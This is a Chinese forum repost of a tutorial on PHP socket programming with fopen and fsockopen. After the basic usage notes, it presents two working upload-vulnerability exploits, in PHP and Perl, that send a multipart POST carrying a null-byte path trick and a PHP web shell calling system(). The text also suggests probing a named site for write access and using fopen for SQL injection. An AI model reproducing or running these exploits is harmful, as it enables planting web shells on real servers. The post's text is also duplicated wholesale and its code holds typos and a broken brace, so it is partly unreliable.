设为首页 收藏本站
查看: 340|回复: 0

[经验分享] PHP-SOCKETS编程问题

[复制链接]

尚未签到

发表于 2017-3-25 11:21:43 | 显示全部楼层 |阅读模式
  1.fopen的应用
  fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。
  fopen的使用方法
  $s = fopen ($url, mode);
  fopen的MODE属性:
  mode 说明
  'r' 只读方式打开,将文件指针指向文件头。
  'r+' 读写方式打开,将文件指针指向文件头。
  'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
  'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
  'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
  'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
  即用于本地文件的操作,也可以用于INET。是不是很KOOL?
  假如要测试一个站的IIS目录是不是有写权限。
  可以这样写
  $s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
  如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。
  但是一般的网站都是只读权限的
  $s =fopen("http://www.bugkidz.org/index.php?id=1","r");
  这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
  这样
  while (!feof($s)) {
  echo fgets($s, 1024);
  }
  我认为FOPEN用于SQL INJECTION是最方便不过的了。
  
  引用
  function phpinet($url)
  {
  fopen($url,"r") or die("打开URL错误");
   $cahe = "";
  while (!feof($s)) {
  $cahe .= fgets($s, 1024);
  }
  retrun $cahe;
  fclose($s);
  }
  这段函数等同于VB中的inet.openurl
  Fsockopen等函数的使用
  fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.
  这样使用fsockopen
  resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])
  例子:
  $sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
  前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.
  通常$sock = fsockopen("192.168.0.1",80);这样即可.
  $sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来
  $sock = fsockopen("udp://192.168.0.1",53);
  用这个来写一个TFTP的客户端也是可以的.
  fsockopen的应用实例:
  实例一,简单的HTTP会话.
  代码
  <?php
  $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
  if (!$fp) {
  echo "$errstr ($errno)\n";
  } else {
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: www.example.com\r\n";
  $out .= "Connection: Close\r\n\r\n";
  fwrite($fp, $out);
  while (!feof($fp)) {
  echo fgets($fp, 128);
  }
  fclose($fp);
  }
  ?>
  流程一般是这样的
  建立fsockopen资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen资源.
  ANGEL写了一个PHP的端口扫描工具,贴出之
http://www.4ngel.net/article/20.htm
  选择fsockopen来写简单EXP发送框架绝对是个goodidea.becozit'ssoeasy.
  看我的PHP上传漏洞的exp.
  代码
  
  引用
  <?php
  #MSN:Cqxy[at]21cn.net
  $sock = fsockopen("www.ririririri.com",80);
  if (!$sock)
  { echo "CANNOT CONNECT IT!";
  }
  $body = "-----------------------------7d41f4a600472\r\n".
  "Content-Disposition: form-data; name=\"path\"\r\n".
  "\r\n".
  "www.ppp%00\r\n".
  "-----------------------------7d41f4a600472\r\n".
  "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
  "Content-Type: text/plain\r\n".
  "\r\n".
  "<?php\r\n".
  "system($c);\r\n".
  "?>\r\n".
  "-----------------------------7d41f4a600472--\r\n".
  "\r\n";
  $header ="POST /index.php?action=upload HTTP/1.1\r\n".
  "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
  "Referer: http://127.0.0.1/index.php?path=.\r\n".
  "Accept-Language: zh-cn\r\n".
  "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
  "Accept-Encoding: gzip, deflate\r\n".
  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
  "Host: 127.0.0.1\r\n".
  "Content-Length: strlen($body)\r\n".
  "Connection: Keep-Alive\r\n".
  "Cache-Control: no-cache\r\n".
  "Cookie: PHPSESSID=111111111111111111111111\r\n".
  "\r\n";
  fputs($sock,$header);
  sleep(1);
  fputs($sock,$body);
  while (!feof($sock))
  {
  echo fgets($sock,128);
  }
  fclose($sock);
  ?>
  
  再来看XIAOLU用PERL写的exp
  代码
  
  引用
  #!/usr/bin/perl
  $| = 1;
  use Socket;
  $host = "127.0.0.1";
  $port = "80";
  $UploadTo = "";
  $str =
  "-----------------------------7d41f4a600472\r\n".
  "Content-Disposition: form-data; name=\"path\"\r\n".
  "\r\n".
  "www.ppp%00\r\n".
  "-----------------------------7d41f4a600472\r\n".
  "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
  "Content-Type: text/plain\r\n".
  "\r\n".
  "<?php\r\n".
  "system($c);\r\n".
  "?>\r\n".
  "-----------------------------7d41f4a600472--\r\n".
  "\r\n";
  print $str;
  $len=length($str);
  print $len;
  $req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
  "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
  "Referer: http://127.0.0.1/index.php?path=.\r\n".
  "Accept-Language: zh-cn\r\n".
  "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
  "Accept-Encoding: gzip, deflate\r\n".
  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
  "Host: 127.0.0.1\r\n".
  "Content-Length: $len\r\n".
  "Connection: Keep-Alive\r\n".
  "Cache-Control: no-cache\r\n".
  "Cookie: PHPSESSID=111111111111111111111111\r\n".
  "\r\n".
  "$str\r\n\r\n";
  print $req;
  @res = sendraw($req);
  print @res;
  #Hmm...Maybe you can send it by other way
  sub sendraw {
  my ($req) = @_;
  my $target;
  $target = inet_aton($host) || die("inet_aton problems\n");
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
  if(connect(S,pack "SnA4x8",2,$port,$target)){
  select(S);
  $| = 1;
  print $req;
  my @res = <S>;
  select(STDOUT);
  close(S);
  return @res;
  else {
  die("Can't connect...\n");
  }
  谁更简单,一目了然.
  到这里可能大家对fsockopen的使用有一定了解了.
  下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前
前面一段谈到命令行方式的运行。更多请参照 http://www.php.net/manual/zh/features.commandline.php 1.fopen的应用 fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。 fopen的使用方法 $s = fopen ($url, mode); fopen的MODE属性: mode 说明 'r' 只读方式打开,将文件指针指向文件头。 'r+' 读写方式打开,将文件指针指向文件头。 'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 即用于本地文件的操作,也可以用于INET。是不是很KOOL?假如要测试一个站的IIS目录是不是有写权限。可以这样写 $s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”) 如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。但是一般的网站都是只读权限的 $s =fopen("http://www.bugkidz.org/index.php?id=1","r"); 这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容这样 while (!feof($s)) { echo fgets($s, 1024); } 我认为FOPEN用于SQL INJECTION是最方便不过的了。 引用 function phpinet($url) { fopen($url,"r") or die("打开URL错误"); $cahe = ""; while (!feof($s)) { $cahe .= fgets($s, 1024); } retrun $cahe; fclose($s); } 这段函数等同于VB中的inet.openurl Fsockopen等函数的使用 fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.这样使用fsockopen resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]]) 例子: $sock = fsockopen("192.168.0.1",80,$errno,$errstr,30); 前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.通常$sock = fsockopen("192.168.0.1",80);这样即可. $sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来 $sock = fsockopen("udp://192.168.0.1",53); 用这个来写一个TFTP的客户端也是可以的. fsockopen的应用实例: 实例一,简单的HTTP会话. 代码 <?php $fp = fsockopen("www.example.com", 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: www.example.com\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?> 流程一般是这样的建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.ANGEL写了一个PHP的端口扫描工具,贴出之 http://www.4ngel.net/article/20.htm 选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.看我的PHP上传漏洞的exp. 代码 引用 <?php #MSN:Cqxy[at]21cn.net $sock = fsockopen("www.ririririri.com",80); if (!$sock) { echo "CANNOT CONNECT IT!"; } $body = "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"path\"\r\n". "\r\n". "www.ppp%00\r\n". "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n". "Content-Type: text/plain\r\n". "\r\n". "<?php\r\n". "system($c);\r\n". "?>\r\n". "-----------------------------7d41f4a600472--\r\n". "\r\n"; $header ="POST /index.php?action=upload HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: http://127.0.0.1/index.php?path=.\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n". "Host: 127.0.0.1\r\n". "Content-Length: strlen($body)\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie: PHPSESSID=111111111111111111111111\r\n". "\r\n"; fputs($sock,$header); sleep(1); fputs($sock,$body); while (!feof($sock)) { echo fgets($sock,128); } fclose($sock); ?> 再来看XIAOLU用PERL写的exp 代码 引用 #!/usr/bin/perl $| = 1; use Socket; $host = "127.0.0.1"; $port = "80"; $UploadTo = ""; $str = "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"path\"\r\n". "\r\n". "www.ppp%00\r\n". "-----------------------------7d41f4a600472\r\n". "Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n". "Content-Type: text/plain\r\n". "\r\n". "<?php\r\n". "system($c);\r\n". "?>\r\n". "-----------------------------7d41f4a600472--\r\n". "\r\n"; print $str; $len=length($str); print $len; $req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: http://127.0.0.1/index.php?path=.\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n". "Host: 127.0.0.1\r\n". "Content-Length: $len\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie: PHPSESSID=111111111111111111111111\r\n". "\r\n". "$str\r\n\r\n"; print $req; @res = sendraw($req); print @res; #Hmm...Maybe you can send it by other way sub sendraw { my ($req) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems\n"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; else { die("Can't connect...\n"); }  谁更简单,一目了然.到这里可能大家对fsockopen 的使用有一定了解了.下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前
  <script></script>

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-355174-1-1.html 上篇帖子: PHP----个别函数用法记录 下篇帖子: PHP.JS开源项目 (!支持开源!)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表